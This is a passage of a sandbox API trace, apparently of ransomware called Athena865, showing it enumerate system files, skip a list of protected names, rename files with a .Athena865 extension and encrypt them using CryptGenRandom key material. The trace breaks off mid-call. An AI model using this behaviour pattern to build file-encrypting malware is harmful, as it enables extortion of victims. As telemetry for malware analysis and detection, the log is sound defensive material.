[0099.689] lstrcpyW (in: lpString1=0x241e8b2, lpString2="{29088c66-de5f-456f-85c0-6e4156f94358}_OnDiskSnapshotProp" | out: lpString1="{29088c66-de5f-456f-85c0-6e4156f94358}_OnDiskSnapshotProp") returned="{29088c66-de5f-456f-85c0-6e4156f94358}_OnDiskSnapshotProp" [0099.689] lstrlenW (lpString="{29088c66-de5f-456f-85c0-6e4156f94358}_OnDiskSnapshotProp") returned 57 [0099.689] lstrlenW (lpString="Athena865") returned 9 [0099.689] lstrcmpiW (lpString1="pshotProp", lpString2="Athena865") returned 1 [0099.689] lstrlenW (lpString=".dll") returned 4 [0099.689] lstrcmpiW (lpString1="{29088c66-de5f-456f-85c0-6e4156f94358}_OnDiskSnapshotProp", lpString2=".dll") returned 1 [0099.689] lstrlenW (lpString=".lnk") returned 4 [0099.689] lstrcmpiW (lpString1="{29088c66-de5f-456f-85c0-6e4156f94358}_OnDiskSnapshotProp", lpString2=".lnk") returned 1 [0099.689] lstrlenW (lpString=".ini") returned 4 [0099.689] lstrcmpiW (lpString1="{29088c66-de5f-456f-85c0-6e4156f94358}_OnDiskSnapshotProp", lpString2=".ini") returned 1 [0099.689] lstrlenW (lpString=".sys") returned 4 [0099.689] lstrcmpiW (lpString1="{29088c66-de5f-456f-85c0-6e4156f94358}_OnDiskSnapshotProp", lpString2=".sys") returned 1 [0099.689] lstrlenW (lpString="{29088c66-de5f-456f-85c0-6e4156f94358}_OnDiskSnapshotProp") returned 57 [0099.689] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{29088c66-de5f-456f-85c0-6e4156f94358}_OnDiskSnapshotProp.Athena865") returned 120 [0099.689] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{29088c66-de5f-456f-85c0-6e4156f94358}_OnDiskSnapshotProp" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{29088c66-de5f-456f-85c0-6e4156f94358}_ondisksnapshotprop"), lpNewFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{29088c66-de5f-456f-85c0-6e4156f94358}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{29088c66-de5f-456f-85c0-6e4156f94358}_ondisksnapshotprop.athena865"), dwFlags=0x1) returned 1 [0099.690] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{29088c66-de5f-456f-85c0-6e4156f94358}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{29088c66-de5f-456f-85c0-6e4156f94358}_ondisksnapshotprop.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0099.690] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3296) returned 1 [0099.690] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.690] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0099.690] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.690] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.691] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.691] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.692] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfe0, lpName=0x0) returned 0x154 [0099.693] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xfe0) returned 0x100000 [0099.695] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.696] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.696] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.696] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.696] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0099.696] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.696] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.696] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0099.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.696] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.697] CloseHandle (hObject=0x154) returned 1 [0099.697] CloseHandle (hObject=0x17c) returned 1 [0099.697] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0099.697] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.697] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.697] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa0c57260, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa0c57260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa0c57260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xe30, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{29296136-1f54-4fd8-b5c7-32fc96ef3c76}_OnDiskSnapshotProp", cAlternateFileName="{29296~1")) returned 1 [0099.697] lstrcmpiW (lpString1="{29296136-1f54-4fd8-b5c7-32fc96ef3c76}_OnDiskSnapshotProp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.697] lstrcmpiW (lpString1="{29296136-1f54-4fd8-b5c7-32fc96ef3c76}_OnDiskSnapshotProp", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.697] lstrcmpiW (lpString1="{29296136-1f54-4fd8-b5c7-32fc96ef3c76}_OnDiskSnapshotProp", lpString2=".") returned 1 [0099.697] lstrcmpiW (lpString1="{29296136-1f54-4fd8-b5c7-32fc96ef3c76}_OnDiskSnapshotProp", lpString2="..") returned 1 [0099.697] lstrcmpiW (lpString1="{29296136-1f54-4fd8-b5c7-32fc96ef3c76}_OnDiskSnapshotProp", lpString2="windows") returned -1 [0099.697] lstrcmpiW (lpString1="{29296136-1f54-4fd8-b5c7-32fc96ef3c76}_OnDiskSnapshotProp", lpString2="bootmgr") returned -1 [0099.697] lstrcmpiW (lpString1="{29296136-1f54-4fd8-b5c7-32fc96ef3c76}_OnDiskSnapshotProp", lpString2="temp") returned -1 [0099.697] lstrcmpiW (lpString1="{29296136-1f54-4fd8-b5c7-32fc96ef3c76}_OnDiskSnapshotProp", lpString2="pagefile.sys") returned -1 [0099.697] lstrcmpiW (lpString1="{29296136-1f54-4fd8-b5c7-32fc96ef3c76}_OnDiskSnapshotProp", lpString2="boot") returned -1 [0099.697] lstrcmpiW (lpString1="{29296136-1f54-4fd8-b5c7-32fc96ef3c76}_OnDiskSnapshotProp", lpString2="ids.txt") returned -1 [0099.697] lstrcmpiW (lpString1="{29296136-1f54-4fd8-b5c7-32fc96ef3c76}_OnDiskSnapshotProp", lpString2="ntuser.dat") returned -1 [0099.697] lstrcmpiW (lpString1="{29296136-1f54-4fd8-b5c7-32fc96ef3c76}_OnDiskSnapshotProp", lpString2="perflogs") returned -1 [0099.697] lstrcmpiW (lpString1="{29296136-1f54-4fd8-b5c7-32fc96ef3c76}_OnDiskSnapshotProp", lpString2="MSBuild") returned -1 [0099.697] lstrlenW (lpString="{29296136-1f54-4fd8-b5c7-32fc96ef3c76}_OnDiskSnapshotProp") returned 57 [0099.697] lstrcpyW (in: lpString1=0x241e8b2, lpString2="{29296136-1f54-4fd8-b5c7-32fc96ef3c76}_OnDiskSnapshotProp" | out: lpString1="{29296136-1f54-4fd8-b5c7-32fc96ef3c76}_OnDiskSnapshotProp") returned="{29296136-1f54-4fd8-b5c7-32fc96ef3c76}_OnDiskSnapshotProp" [0099.697] lstrlenW (lpString="{29296136-1f54-4fd8-b5c7-32fc96ef3c76}_OnDiskSnapshotProp") returned 57 [0099.697] lstrlenW (lpString="Athena865") returned 9 [0099.697] lstrcmpiW (lpString1="pshotProp", lpString2="Athena865") returned 1 [0099.698] lstrlenW (lpString=".dll") returned 4 [0099.698] lstrcmpiW (lpString1="{29296136-1f54-4fd8-b5c7-32fc96ef3c76}_OnDiskSnapshotProp", lpString2=".dll") returned 1 [0099.698] lstrlenW (lpString=".lnk") returned 4 [0099.698] lstrcmpiW (lpString1="{29296136-1f54-4fd8-b5c7-32fc96ef3c76}_OnDiskSnapshotProp", lpString2=".lnk") returned 1 [0099.698] lstrlenW (lpString=".ini") returned 4 [0099.698] lstrcmpiW (lpString1="{29296136-1f54-4fd8-b5c7-32fc96ef3c76}_OnDiskSnapshotProp", lpString2=".ini") returned 1 [0099.698] lstrlenW (lpString=".sys") returned 4 [0099.698] lstrcmpiW (lpString1="{29296136-1f54-4fd8-b5c7-32fc96ef3c76}_OnDiskSnapshotProp", lpString2=".sys") returned 1 [0099.698] lstrlenW (lpString="{29296136-1f54-4fd8-b5c7-32fc96ef3c76}_OnDiskSnapshotProp") returned 57 [0099.698] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{29296136-1f54-4fd8-b5c7-32fc96ef3c76}_OnDiskSnapshotProp.Athena865") returned 120 [0099.698] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{29296136-1f54-4fd8-b5c7-32fc96ef3c76}_OnDiskSnapshotProp" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{29296136-1f54-4fd8-b5c7-32fc96ef3c76}_ondisksnapshotprop"), lpNewFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{29296136-1f54-4fd8-b5c7-32fc96ef3c76}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{29296136-1f54-4fd8-b5c7-32fc96ef3c76}_ondisksnapshotprop.athena865"), dwFlags=0x1) returned 1 [0099.699] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{29296136-1f54-4fd8-b5c7-32fc96ef3c76}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{29296136-1f54-4fd8-b5c7-32fc96ef3c76}_ondisksnapshotprop.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0099.699] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3632) returned 1 [0099.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.700] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0099.700] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.700] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.700] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.700] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.701] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1130, lpName=0x0) returned 0x154 [0099.702] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1130) returned 0x100000 [0099.704] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.705] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.705] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.705] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0099.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.705] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0099.705] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.705] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.705] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.705] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.705] CloseHandle (hObject=0x154) returned 1 [0099.706] CloseHandle (hObject=0x17c) returned 1 [0099.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0099.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.706] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7cf86300, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x7cf86300, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x7cf86300, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0xc70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{4204ee1b-0338-4788-b199-d83e4955faf1}_OnDiskSnapshotProp", cAlternateFileName="{4204E~1")) returned 1 [0099.706] lstrcmpiW (lpString1="{4204ee1b-0338-4788-b199-d83e4955faf1}_OnDiskSnapshotProp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.706] lstrcmpiW (lpString1="{4204ee1b-0338-4788-b199-d83e4955faf1}_OnDiskSnapshotProp", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.706] lstrcmpiW (lpString1="{4204ee1b-0338-4788-b199-d83e4955faf1}_OnDiskSnapshotProp", lpString2=".") returned 1 [0099.706] lstrcmpiW (lpString1="{4204ee1b-0338-4788-b199-d83e4955faf1}_OnDiskSnapshotProp", lpString2="..") returned 1 [0099.706] lstrcmpiW (lpString1="{4204ee1b-0338-4788-b199-d83e4955faf1}_OnDiskSnapshotProp", lpString2="windows") returned -1 [0099.706] lstrcmpiW (lpString1="{4204ee1b-0338-4788-b199-d83e4955faf1}_OnDiskSnapshotProp", lpString2="bootmgr") returned -1 [0099.706] lstrcmpiW (lpString1="{4204ee1b-0338-4788-b199-d83e4955faf1}_OnDiskSnapshotProp", lpString2="temp") returned -1 [0099.706] lstrcmpiW (lpString1="{4204ee1b-0338-4788-b199-d83e4955faf1}_OnDiskSnapshotProp", lpString2="pagefile.sys") returned -1 [0099.706] lstrcmpiW (lpString1="{4204ee1b-0338-4788-b199-d83e4955faf1}_OnDiskSnapshotProp", lpString2="boot") returned -1 [0099.706] lstrcmpiW (lpString1="{4204ee1b-0338-4788-b199-d83e4955faf1}_OnDiskSnapshotProp", lpString2="ids.txt") returned -1 [0099.706] lstrcmpiW (lpString1="{4204ee1b-0338-4788-b199-d83e4955faf1}_OnDiskSnapshotProp", lpString2="ntuser.dat") returned -1 [0099.706] lstrcmpiW (lpString1="{4204ee1b-0338-4788-b199-d83e4955faf1}_OnDiskSnapshotProp", lpString2="perflogs") returned -1 [0099.706] lstrcmpiW (lpString1="{4204ee1b-0338-4788-b199-d83e4955faf1}_OnDiskSnapshotProp", lpString2="MSBuild") returned -1 [0099.706] lstrlenW (lpString="{4204ee1b-0338-4788-b199-d83e4955faf1}_OnDiskSnapshotProp") returned 57 [0099.706] lstrcpyW (in: lpString1=0x241e8b2, lpString2="{4204ee1b-0338-4788-b199-d83e4955faf1}_OnDiskSnapshotProp" | out: lpString1="{4204ee1b-0338-4788-b199-d83e4955faf1}_OnDiskSnapshotProp") returned="{4204ee1b-0338-4788-b199-d83e4955faf1}_OnDiskSnapshotProp" [0099.706] lstrlenW (lpString="{4204ee1b-0338-4788-b199-d83e4955faf1}_OnDiskSnapshotProp") returned 57 [0099.706] lstrlenW (lpString="Athena865") returned 9 [0099.707] lstrcmpiW (lpString1="pshotProp", lpString2="Athena865") returned 1 [0099.707] lstrlenW (lpString=".dll") returned 4 [0099.707] lstrcmpiW (lpString1="{4204ee1b-0338-4788-b199-d83e4955faf1}_OnDiskSnapshotProp", lpString2=".dll") returned 1 [0099.707] lstrlenW (lpString=".lnk") returned 4 [0099.707] lstrcmpiW (lpString1="{4204ee1b-0338-4788-b199-d83e4955faf1}_OnDiskSnapshotProp", lpString2=".lnk") returned 1 [0099.707] lstrlenW (lpString=".ini") returned 4 [0099.707] lstrcmpiW (lpString1="{4204ee1b-0338-4788-b199-d83e4955faf1}_OnDiskSnapshotProp", lpString2=".ini") returned 1 [0099.707] lstrlenW (lpString=".sys") returned 4 [0099.707] lstrcmpiW (lpString1="{4204ee1b-0338-4788-b199-d83e4955faf1}_OnDiskSnapshotProp", lpString2=".sys") returned 1 [0099.707] lstrlenW (lpString="{4204ee1b-0338-4788-b199-d83e4955faf1}_OnDiskSnapshotProp") returned 57 [0099.707] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{4204ee1b-0338-4788-b199-d83e4955faf1}_OnDiskSnapshotProp.Athena865") returned 120 [0099.707] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{4204ee1b-0338-4788-b199-d83e4955faf1}_OnDiskSnapshotProp" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{4204ee1b-0338-4788-b199-d83e4955faf1}_ondisksnapshotprop"), lpNewFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{4204ee1b-0338-4788-b199-d83e4955faf1}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{4204ee1b-0338-4788-b199-d83e4955faf1}_ondisksnapshotprop.athena865"), dwFlags=0x1) returned 1 [0099.708] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{4204ee1b-0338-4788-b199-d83e4955faf1}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{4204ee1b-0338-4788-b199-d83e4955faf1}_ondisksnapshotprop.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0099.708] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3184) returned 1 [0099.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0099.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.708] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.709] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.709] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.709] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf70, lpName=0x0) returned 0x154 [0099.711] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf70) returned 0x100000 [0099.712] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.713] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.713] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0099.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0099.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.713] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.714] CloseHandle (hObject=0x154) returned 1 [0099.714] CloseHandle (hObject=0x17c) returned 1 [0099.714] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0099.714] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.714] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.714] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x26b9e540, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x26b9e540, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x26bc46a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0xb80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{425865b3-1a09-4be3-8a97-1baffda74ed0}_OnDiskSnapshotProp", cAlternateFileName="{42586~1")) returned 1 [0099.714] lstrcmpiW (lpString1="{425865b3-1a09-4be3-8a97-1baffda74ed0}_OnDiskSnapshotProp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.714] lstrcmpiW (lpString1="{425865b3-1a09-4be3-8a97-1baffda74ed0}_OnDiskSnapshotProp", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.714] lstrcmpiW (lpString1="{425865b3-1a09-4be3-8a97-1baffda74ed0}_OnDiskSnapshotProp", lpString2=".") returned 1 [0099.714] lstrcmpiW (lpString1="{425865b3-1a09-4be3-8a97-1baffda74ed0}_OnDiskSnapshotProp", lpString2="..") returned 1 [0099.714] lstrcmpiW (lpString1="{425865b3-1a09-4be3-8a97-1baffda74ed0}_OnDiskSnapshotProp", lpString2="windows") returned -1 [0099.714] lstrcmpiW (lpString1="{425865b3-1a09-4be3-8a97-1baffda74ed0}_OnDiskSnapshotProp", lpString2="bootmgr") returned -1 [0099.714] lstrcmpiW (lpString1="{425865b3-1a09-4be3-8a97-1baffda74ed0}_OnDiskSnapshotProp", lpString2="temp") returned -1 [0099.714] lstrcmpiW (lpString1="{425865b3-1a09-4be3-8a97-1baffda74ed0}_OnDiskSnapshotProp", lpString2="pagefile.sys") returned -1 [0099.714] lstrcmpiW (lpString1="{425865b3-1a09-4be3-8a97-1baffda74ed0}_OnDiskSnapshotProp", lpString2="boot") returned -1 [0099.714] lstrcmpiW (lpString1="{425865b3-1a09-4be3-8a97-1baffda74ed0}_OnDiskSnapshotProp", lpString2="ids.txt") returned -1 [0099.714] lstrcmpiW (lpString1="{425865b3-1a09-4be3-8a97-1baffda74ed0}_OnDiskSnapshotProp", lpString2="ntuser.dat") returned -1 [0099.714] lstrcmpiW (lpString1="{425865b3-1a09-4be3-8a97-1baffda74ed0}_OnDiskSnapshotProp", lpString2="perflogs") returned -1 [0099.714] lstrcmpiW (lpString1="{425865b3-1a09-4be3-8a97-1baffda74ed0}_OnDiskSnapshotProp", lpString2="MSBuild") returned -1 [0099.714] lstrlenW (lpString="{425865b3-1a09-4be3-8a97-1baffda74ed0}_OnDiskSnapshotProp") returned 57 [0099.714] lstrcpyW (in: lpString1=0x241e8b2, lpString2="{425865b3-1a09-4be3-8a97-1baffda74ed0}_OnDiskSnapshotProp" | out: lpString1="{425865b3-1a09-4be3-8a97-1baffda74ed0}_OnDiskSnapshotProp") returned="{425865b3-1a09-4be3-8a97-1baffda74ed0}_OnDiskSnapshotProp" [0099.714] lstrlenW (lpString="{425865b3-1a09-4be3-8a97-1baffda74ed0}_OnDiskSnapshotProp") returned 57 [0099.714] lstrlenW (lpString="Athena865") returned 9 [0099.715] lstrcmpiW (lpString1="pshotProp", lpString2="Athena865") returned 1 [0099.715] lstrlenW (lpString=".dll") returned 4 [0099.715] lstrcmpiW (lpString1="{425865b3-1a09-4be3-8a97-1baffda74ed0}_OnDiskSnapshotProp", lpString2=".dll") returned 1 [0099.715] lstrlenW (lpString=".lnk") returned 4 [0099.715] lstrcmpiW (lpString1="{425865b3-1a09-4be3-8a97-1baffda74ed0}_OnDiskSnapshotProp", lpString2=".lnk") returned 1 [0099.715] lstrlenW (lpString=".ini") returned 4 [0099.715] lstrcmpiW (lpString1="{425865b3-1a09-4be3-8a97-1baffda74ed0}_OnDiskSnapshotProp", lpString2=".ini") returned 1 [0099.715] lstrlenW (lpString=".sys") returned 4 [0099.715] lstrcmpiW (lpString1="{425865b3-1a09-4be3-8a97-1baffda74ed0}_OnDiskSnapshotProp", lpString2=".sys") returned 1 [0099.715] lstrlenW (lpString="{425865b3-1a09-4be3-8a97-1baffda74ed0}_OnDiskSnapshotProp") returned 57 [0099.715] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{425865b3-1a09-4be3-8a97-1baffda74ed0}_OnDiskSnapshotProp.Athena865") returned 120 [0099.715] MoveFileExW (lpExistingFileName="C:\\System Volume 